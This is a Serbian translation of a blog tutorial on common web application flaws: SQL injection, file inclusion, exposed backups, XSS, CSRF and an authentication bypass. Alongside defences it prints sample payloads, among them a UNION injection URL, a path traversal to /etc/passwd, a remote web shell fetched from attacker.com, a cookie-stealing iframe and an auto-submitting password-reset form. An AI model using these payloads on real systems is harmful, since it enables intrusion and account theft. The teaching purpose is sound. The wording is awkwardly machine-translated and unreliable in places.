Back to site
Since 2004, our University project has become the Internet's most widespread web hosting directory. Here we like to talk a lot about web servers, web development, networking and security services. It is, after all, our expertise. To make things better we've launched this science section with the free access to educational resources and important scientific material translated to different languages.

Bezbednost web aplikacija OSNOVI

02. septembar 2012 Autor: Dimitar Ivanov

Malo istorije

Sa razvojem računara i komunikacione tehnologije, pitanje bezbednosti postaje hitno. Danas, svaki pojedinac je na neki način prisutan na internetu. To vazi mnogo vise za preduzeća- jednostavno ne mogu da vrše posao ako ne koriste internet i/ ili web- bazirana resenja- ERP aplikacije, alatke za saradnju, šta god poželite. Ovo povlači dosta pitanja kao što su: “Koliko je bezbedna informacija moje kompanije?”, “Koliko je sigurna informacija mojih klijenata?”, “Da li neko moze da pristupi ovim informacijama bez odobrenja?”, “Šta treba da učinim da bih sprečio da budem hakovan?”, itd. Ova pitanja su relevantna danas, a nisu bila u prošlosti. Pre dvadeset godina, veoma malo ljudi je koristilo računare, pa čak i manje se bavilo bezbednošcu informacija. Za one koji jesu, to im je bio hobi ili profesija, a oni su imali drugačiji način razmišljanja - ako bi našli ranjivost u softveru ili sistemu, oni bi ga prijavili vlasnicima, tako da su oni popravljali ili umanjivali stetu . Sećam se da je 90- ih bio momak koji je hakovao ime servera naše univerzitetske mreže kroz prst “deamon”, i prijavio ga odmah, bez ikakve štete. Sada, kada bukvalno svako ima pristup internetu, stvari su sasvim drugačije. Svako može preuzeti radne podvige za nedavno objavljene ranjivosti; postoje alatke koje mogu da automatizuju većinu zadataka pomocu kojih mozete hakovati sajt, i ne zaboravite Google i Shodan, koji možete koristiti da biste pronašli ranjive mete. To čini "hakovanje" (ako možete da ga zovete tako) vrlo lakim.

Zašto je bezbednost web aplikacija bitna?

Pod ovim okolnostima, nije teško odgovoriti na ovo pitanje. Pošto praktično svako ima pristup "hakerisanju resursa", pretnja bezbednosti informacija je enormno porasla. Migracijom na web aplikacije, u kombinaciji sa celom zbrkom oko “cloud computing- a”, fokus bezbednosnih stručnjaka i istraživača je pomeren. S jedne strane, teže je naći daljinski podvig za operativne sisteme. S druge strane, mnogo je lakše da naciljaju i reše kompromisom web aplikaciju. Često, jedina stvar koju treba da uradite jeste web pretraživač - uzmite LFI, RFI, File upload, SQLi. Ako je aplikacija ranjiva na LFI, možete uključiti proces okruženja, koji će analizirati PHP prevodioca. Ako promenite korisničkog- agenta za PHP kod, biće izvršen, dajući vam daljinsko komandno izvršenje. Ako postoji RFI, možete uključiti “web shell” sa udaljenog servera, i tako dalje. Pored toga, ranjivost se javno objavljuje, ponekad čak i pre nego što izađe korektura za njih. Da, ali

zašto bi iko napao moju kopmaniju?

Pa motivacija hakera može biti drugačija - industrijska špijunaža; dobijanje odskočne daske (odskočnicu) za vršenje napada na druge mašine / mreže; stvarna ili imaginarna dobit; osvete , haktivizam, itd. Svako može da cilja na bilo koju firmu i bez posebnog razloga, tako da

šta bi mogla da bude šteta?

Bez obzira na motiv napadača, njihovi postupci mogu da izazovu ogromne finansijske gubitke, gubitak ugleda i poverenja, parnice. Ako je server hakovan, i koristi se kao odskočna daska da bi ciljali druge mreže, može se oduzeti zakonom, što može dovesti do dodatnih gubitaka. Ako se njegov sadržaj briše, to može direktno da utiče na produktivnost. Kompromis servera može da dovede do napada na unutrašnje mreže kompanije. Zato, moramo da znamo šta su

Najčešće ranjivosti web aplikacija

Open Web Application Security Project (OWASP) definiše (ten categories) deset kategorija, koje kombinuju "najozbiljnije rizike za širok spektar organizacija." Ispod ćemo navesti neke od najčešćih propusta koje smo sreli u toku našeg rada. Verovatno najčešći i najlakši da se iskoristi je

SQL uvođenje - Iskorišćavanje autora

Skoro svaka dinamička web aplikacija koristi neku vrstu baze podataka. Sadržaj prikazan korisnicima aplikacija se čuva u bazi podataka i prikazuje u pregledaču, u zavisnosti od parametara koje donose osnovne skripte (niz izvršnih instrukcija) u pozadini. Ovi parametri, međutim, zavise od ponašanja korisnika, a može, dakle, biti modifikovan od strane njih. Ovo je osnovna funkcionalnost web aplikacije. Problemi nastaju kada su parametri prošli u bazu podataka bez saniranja. Ovo omogućava zlonamernim korisnicima da zatvore legitimni upit i da unesu sopstvene upite u bazu podataka i dobiju rezultate na jedan ili drugi način. Drugim rečima, “SQL Injection” (uvođenje) koristi pretpostavke, napravljene od aplikacija. Na primer, kada je programer proizveo sledeći kod:

$sql = ' SELECT * FROM products WHERE id = ' . $_GET['id'];


želeli su skriptu za upit baze podataka, za proizvode koji se podudaraju sa datim ID, koji je prošao kao “GET” parametar. To jest, ako posetioci pristupe http://target.com//vulnerable_script.php?id=1, oni će videti detalje za proizvod sa ID 1. Baza podataka upita će izgledati ovako:

SELECT * FROM products WHERE id = 1


U ovom konkretnom slučaju, programeri bi pretpostavili da bi 'id' parametar uvek bio ceo broj. Međutim, pošto se vrednost parametra 'id' prosleđuje bazi podataka od strane korisnika, bez filtriranja, zlonamerni korisnik može da unese sledeći URL u pregledaču: http://target.com//vulnerable_script.php?
id =1 +union+select+0,1, concat_ws (user(),0x3a,data base(),0x3a,version()),3,4,5,6-- U ovom slučaju, DB upit će izgledati ovo:

SELECT * FROM products WHERE id = 1 union all select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6


U suštini, ovo govori bazi podataka da prikaže informacije o proizvodu sa ID 1 i da ga kombinuje sa skupom podataka koji sadrži podatke o korisniku, ime baze podataka i verzije baze podataka servera. Ova informacija je izabrana u trećoj koloni, odvojene kolonama (0x3A). Da bi napravio ovaj upit, napadač mora da zna broj kolona u bazi podataka. Ova informacija može se lako dobiti pomoću nekoliko zahteva koje nalože bazi podataka da prikaže podatke, i naložene određene kolone. Ovo je osnovni primer za redovno SQL Injection (izvođenje). Postoje i drugi ukusi SQLi - zasnovani na grešci, zasnovani na vremenu, Bulovoj slepoj bazi. Greška na bazi SQL Injection, napadi se oslanjaju na izvačenje informacija iz grešaka, vraćenih iz baze podataka. Tu postoji lep (introductory tutorial ) uvodni tutorijal o grešci u SQL bazi i na Youtube- u. Iznenađujuće često, programeri misle da kada su sakrili greške iz proizvodnje, da su rešili ranjivost. Naravno, to nije slučaj - činjenica da ne možete da vidite podatke, vraćeni se nalaze u bazi (baziranoj na uniji) ili grešci (baziranoj na grešci), ne znači da skripta nije ranjiva. U ovim slučajevima, napadač može koristiti Blind SQL injection da eksfiltra podatke, odnosno na primer, grube sile podataka, na osnovu Bulovih ili vremenom zasnovanih uslova. U tim slučajevima, proći ćete upite koji će ispitati odgovore na serveru baze podataka i rekonstruisati podatke. Naravno, napadači nisu zaglavljeni u pregledaču koji koristi ove ranjivosti. Postoje brojni alati koji će automatizovati proces. Najbolji je sqlmap . Bernardo i Miroslav su uradili neverovatan posao tako što razvili ovaj alat. Postoji nekoliko stvari koje mogu da se urade kako bi se sprečio SQL Injection. Najrasprostranjeniji metod je

filtriranje korisničkog ulaza

Ovaj metod je najlakši za primenu i ako se ne sprovodi pravilno, može se zaobići. Postoje brojne tehnike za odbranu zaobilaska, na osnovu ulaznog filtriranja - falsifikovanje slučaja, falsifikovanje belog prostora, kodiranje upita. Mnogo bolja odbrana od SQLi je da koristite

parametrizovane upite

ili "pripremljene izjave". To su suštinski šabloni za SQL upite, koji sadrže prostore gde će ići korisnički ulaz. Kada se popunjen obrazac prosleđuje u bazu podataka, ceo korisnički unos će biti u prostoru koji je dodeljen za šablon. Baza podataka će izvršiti upit iz šablona, umesto upita koji se može dobiti u korisničkom ulazu. Alternativno, programeri mogu da koriste

ORM (Object relational mapping)

Ovo je tehnika za objekat konverzije, koji konvertuje tabele u bazi podataka skalarnih promenljivih, stvarajući virtuelnu bazu podataka. U praksi, ORM sistemi generišu parametrizovane upite. Drugi najčešći propust u web aplikacijama je

Inkluzija fajlova- Iskorišćavanje funkcionalnosti

Ovo je još jedan propust koga je prilično lako pronaći i iskoristiti. U suštini, ovo je mogućnost za uključivanje fajlova iz mašine na kojoj se aplikacija pokreće, ili sa udaljenog servera, koji je vidljiv za ovu mašinu. Mogućnost da obuhvati različite skripte je od suštinskog značaja za rad svake aplikacije - to je način kako se primena logike apstrakuje ili kako se različite stranice prikazuju, u zavisnosti od korisničkog izbora. Uzmimo prilično jednostavan sajt koji ima četiri stranice: Naslovna, Vesti, O nama, Kontakti. Ako posetilac pristupa Početnoj strani, URL koji koristi će izgledati ovako:

http://target.com/vulnerable_script?page=home


Drugim rečima, skripta prihvata jedan parametar (stranicu), čija vrednost određuje stranicu koju posetilac traži. Hajde da pretpostavimo da skripta ima sledeći kod:

<?php $page = $_GET['page']; if(isset($page)) { include("$page"); } else { include("vulnerable_script.php"); } ?>


Kod je sam po sebi objašnjiv- vrednost GET parametra stranice, dodeljen je promenljivoj “stranici”. Ukoliko njena vrednost nije NULL, skripta (niz izvršnih funkcija) uključuje skriptu sa imenom koje je isto kao i vrednost. Problem sa ovim kodom je u tome što je promenljiva stranica kreirana od korisničkog unosa bez ikakvih provera ili filtriranja. Dakle, ako pristupamo na sledeću adresu:

http://target.com/vulnerable_script?page=../../../../etc/passwd


Skripta će obuhvatiti i prikazati sadržaj UNIX lozinke datoteke. Ovo je veoma pojednostavljen primer LFI. Često, programeri misle da bi obezbedili gore pomenutu skriptu, treba samo da dodaju jednu malu modifikaciju:

<?php $page = $_GET['page']; if(isset($page)) { include("$page" . “.html”); } else { include("vulnerable_script.php"); } ?>


Jedina razlika je u tome što se .html ekstenzija dodaje na stranicu koja je uključena. Međutim, jednostavno dodavanje null- og karaktera (% 00) na URL, napadač će i dalje moći da uključi proizvoljne datoteke. To zavisi od konfiguracije servera, PHP verzija i ne može da radi u svim slučajevima. U drugim slučajevima, programeri koriste file_exists () funkciju, ali ovo je provera funkcionalnosti, a ne bezbednost, jer ne ograničava mogućnost da uključi postojeće fajlove. LFI ranjivost može lako dovesti do komandnog izvršenja u nekim slučajevima. Da bi se ovo postiglo, zlonamerni korisnik može koristiti /proc fajl sistem, koji se koristi u Linux- u kao interfejs za jezgro operativnog sistema. Recimo da, opet, imamo skriptu koja je ranjiva na LFI. Da bismo dobili mogućnost izvršavanja komande na serveru, zlonamerni korisnik može uključiti /proc/self/environ. To je okruženje sadašnjeg procesa - ona sadrži ekološke promenljive za pokrenut proces. Pored sistema promenljive zaštite životne sredine, takođe sadrži CGI promenljive (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, itd). Tako da, ako haker menja User-Agent zaglavlje, koje je prošlo na serveru PHP skripte, skripta će biti analizirana od strane PHP prevodioca, i izvršena na serveru. Do sada smo gledali u mogućnosti da uključimo lokalne fajlove sa servera, na kome ranjiva skripta radi. Da biste uključili datoteke sa udaljenih lokacija, nije toliko drugačije. Zapravo, ako server konfiguracija omogućava uključivanje udaljenih skripti, i ako je skripta ranjiva, jedina razlika će biti u URL - napadač bi samo trebalo da koristi adresu, kao što je:

http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00


Fajl php_shell.txt biće obuhvaćen ugroženom skriptom i analiziran od strane prevodioca, i izvršen lokalno na serveru, efikasno dajući napadaču web shell pristup mašini . Slično kao SQL Injection propusti su File Inclusion (uključene fajlom) ranjivosti koje je prilično lako naći i eksploatisati. I oni su rezultat lošeg programiranja. Još jedan takav rezultat je

Proizvoljno slanje fajlova na server ili iskorišćavanje hostpitalisanja

Pošto sam ranije pisao (previously posted) o ovom tipu propusta, preskačemo ovu ovde. Istina je da to nije samo medijsko otpremanje forme koje može da se eksploatiše. Bilo koja skripta slanja fajlova može da se koristi. Tu možda neće biti i HTML obrazca, napadači mogu samo zahtevaju skriptu. Čak i ako imamo bezbednu aplikaciju, uvek treba gledati na

Nezaštićene fajlove i iskorišćavanje nemara

Ljudi često prave greške zbog nemara. Programeri i / ili administratori sistema nisu izuzetak od ovog pravila. Sa ispravnim Google glupanima možemo naći brojne konfiguracije ili “backup” fajlove sa žicama konektovanim bazama podataka, skripte sa nepravilnim tipom sadržaja koji će biti preuzet umesto pogubljen u pregledaču datoteka, menadžeri sa siromašnima, ili bez identiteta i tako dalje. Možda će zvučati čudno, ali to je prilično česta greška. Zamislite da programer web aplikacije mora da napravi brzu promenu proizvodnje servera. Oni stvaraju rezervnu kopiju skripte, koju će da promene, a zatim ostave rezervnu datoteku sa .bak produženjem na serveru. Čak i ako skripta ne sadrži poverljive podatke, kao što su korisnička imena i lozinke, ona će i dalje predstavljati bezbednosni problem, jer će rezervni fajl najverovatnije biti preuzet od strane onog koji pristupa. U drugoj skripti, web aplikacija može koristiti Rich Text Editor (bogati urednik teksta), kao što je FCKEditor. Postoji mnogo ugroženih verzija tih urednika koji omogućavaju neproverenim korisnicima da šalju proizvoljne datoteke. Glavni razlog za ove bezbednosne rupe je činjenica da ljudi postavljaju fajlove gde ne treba. Da biste to izbegli, potrebno je da se uverite da su svi fajlovi koji ne bi trebalo da budu dostupni preko HTTP- a, stavljeni van direktorijuma web korena. Ako iz nekog razloga to nije moguće, ovi fajlovi treba da budu pravilno zaštićeni. Verovatno najčešća i previđena ranjivost je

XSS ili iskorišćavanje korisnka

Postoje situacije u kojima nam web aplikacija omogućava da se povežemo na server preko korisnika. The XSS (Cross-Site Scripting) propusti dozvoljavaju napadaču da ubrizga prilagođene skripte, koje se izvršavaju u kontekstu pretraživača na webapp korisniku. To je zbog nepropisne validacije izlaza. Postoje dve vrste XSS ranjivosti: Uporni (skladište) i neuporni (odbijen). Trajni XSS napadaju skladište ubrizganog koda na serveru i ona se izvršava svaki put kada se stranica prikazuje posetiocima. Na primer, skript koristi uskladišteni XSS da bi dobio kolačić od korisnika web aplikacije:

  • Napadač kreira skriptu na svom serveru koja će prikupljati kolačiće.
  • Napadač ubacuje sledeći skriveni “iframe” u aplikaciju:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=”attacker.com/get_cookies.php?cookie=” + document.cookie)></iframe>

 

  • Ovlašćenim korisnicima učitava se stranica koja sadrži iframe.
  • Kolačić se šalje u skriptu, koja ga piše na datoteku ili bazu podataka.
  • Napadač učitava kolačić u svom pretraživaču i može da ga autentifikuje kao korisnik.

Neuporni XSS napadi su u suštini isti; jedina razlika je u tome što se ubrizgani kod ne čuva na serveru. Umesto toga, napadač mora da prevari korisnika da prati vezu. Iako XSS napadi obično pokušavaju da kradu kolačiće, to nije uvek slučaj. Mogu se koristiti za ciljanje lozinki koje su sačuvane u pregledaču, i da ne zaboravimo “BeEF” . To znači da postavljanje HttpOnly flag (zastave) nije dovoljno da zaštiti korisnike internet aplikacija od XSS napada. Najbolja zaštita će biti potvrđivanje i saniranje ulaza i izlaza iz aplikacije, zajedno sa čvršćom politikom bezbednosti kolačića. Bliski rođak XSS- a je

XSRF ili eksploatisanje pregledača

U svojoj suštini, Cross-Site Request Forgery (falsifikovanjae zahteva) (CSRF ili XSRF) napad je hibrid između XSS i LFI napada. XSRF napadi su način da se izda komanda od korisnika kojoj web aplikacija veruje. Pretpostavimo da imamo stranicu u našoj web aplikaciji gde korisnici mogu da menjaju svoje lozinke. Ako je obrazac ranjiv na XSRF, napadač može iskoristiti ovu ranjivost i resetovati lozinku korisnika. Evo primera kako će se takav napad održati:

  • Napadač stvara sopstvenu formu na svom serveru:
<html> <head></head> <body onLoad="javascript:document.password_form.submit()"> <form action="https://target.com/admin/admin.php?" method=post name="password_form"> <input type=hidden name=a value=change_password> <input type=password name=password1 VALUE="new_pass"> <input type=password name=password2 VALUE="new_pass"> </form> </body> </html>

 

  • Napadač stvara naizgled praznu HTML stranu koja sadrži skrivene “iframe” ili “img tag” koji učitava formu.
  • Napadač prevari korisnika da pristupi stranici (korisnik mora da ima aktivnu sesiju sa web aplikacijom).
  • Forma podnosi podatke na serveru, efikasno menjajući lozinke.

Jedina teška stvar u napadu, jeste prevariti korisnika da poseti stranicu, dok je prijavljen u aplikaciji. Ovo se može postići sa skrivenom e-poštom, instant porukom, i tako dalje. Da bismo zaštitili korisnike od takvih napada, programeri moraju da koriste anti-XSRF tokene u POST zahtevima. Pored toga, akcije korisnika kao što je promena njihove lozinke, treba da zahtevaju dodatnu potvrdu, obično, korisnici bi trebalo da unesu stare lozinke. Oba CSS i CSRF napada, pokušavaju da ukradu korisničke naloge. Ovo se može postići napadom

Autentifikacije i autorizacije ili eksploatisanja

implementacije

Mi svi znamo da su pretpostavke loše, ali i dalje pretpostavljamo. Dosta često programeri aplikacije čine pretpostavke o tome kako ovlašćenje i autentifikacija korisnika treba da radi. Ove pretpostavke su ponekad u pravu, a zlonamerni korisnici mogu da vrše radnje koje se ne podudaraju, bez obzira što su programeri uzeli zdravo za gotovo. Uzmimo jednu od najpoznatijih skripti za kupovinu za primer. Evo kako se administratori evidentiraju aplikacije u administrativnom interfejsu.

  • Administrator pristupa http://target.com/catalog/admin.
  • Skripta preusmerava na login.php skriptu.
  • Administrator unosi svoje akreditive za prijavljivanje.
  • Skripta (niz izvršnih funkcija) proverava akreditive za prijavljivanje.
  • Ukoliko su tačni, administrator je prijavljen.
  • Ukoliko nisu tačni, skripta pita korisnika za njihove akreditive prijavljivanja ponovo.

Ovo je postignuto pokazujući login.php skripte svakom neproverenom korisniku aplikacija. Hajde da vidimo deo koda skripte. Skripta login.php sadrži sledeći kod:

require('includes/application_top.php');


i ovde je deo application_top.php skripte, koja proverava da li je korisnik autorizovan:

// redirect to login page if administrator is not yet logged in if (!tep_session_is_registered('admin')) { $redirect = false; $current_page = bassename($PHP_SELF); if ($current_page != FILENAME_LOGIN) { if (!tep_session_is_registered('redirect_origin')) { tep_session_register('redirect_origin'); $redirect_origin = array('page' => $current_page, 'get' => $HTTP_GET_VARS); } $redirect = true; } if ($redirect == true) { tep_redirect(tep_href_link(FILENAME_LOGIN)); } unset($redirect); }


Ono što u suštini jeste provera osnovnog imena $PHP_SELF, da li je login.php. Ako je login.php, onda služi stranu; u suprotnom ćete biti preusmereni na login.php. Sada, zamislite da napadači pristupaju na sledeću adresu (URL):

http://target.com/catalog/admin/file_manager.php/login.php

Osnovno Ime od $ PHP_SELF je login.php, tako da je potpuno preusmeravanje zaobišlo i skriptu koju pruža stranica, što je, naravno, file_manager.php.

Napadač može napraviti POST zahtev http://target.com/catalog/admin/administrators.php/login.php?action=insert i dodati sebe kao administratora lokacije, i otpremi web shell, i tako dalje, i tako dalje.

Takve ranjivosti postoje zbog greške u programiranju. Njih je malo teže otkriti od strane napadača, ali su izuzetno neprijatni, jer oni daju pristup prijave neproverenim korisnicima.

Da biste izbegli ove ranjivosti, logika aplikacije mora biti dobro isplanirana, a realizacija bi trebalo da bude testirana.

Naravno, postoje i druge ranjivosti, kao i napadi koji su hibridi napada koji su opisani gore. Nema posta koji može da obuhvati sve. Ali, sa sigurnošću možemo reći da su to najčešće ranjivosti i napadi na internetu danas.

U pratećem postu ćemo raspravljati o odbrani i penetraciji testova kao delu odbrane.





Published (Last edited): 11-02-2013 , source: http://mtr-design.com/blog/web-application-security-basics/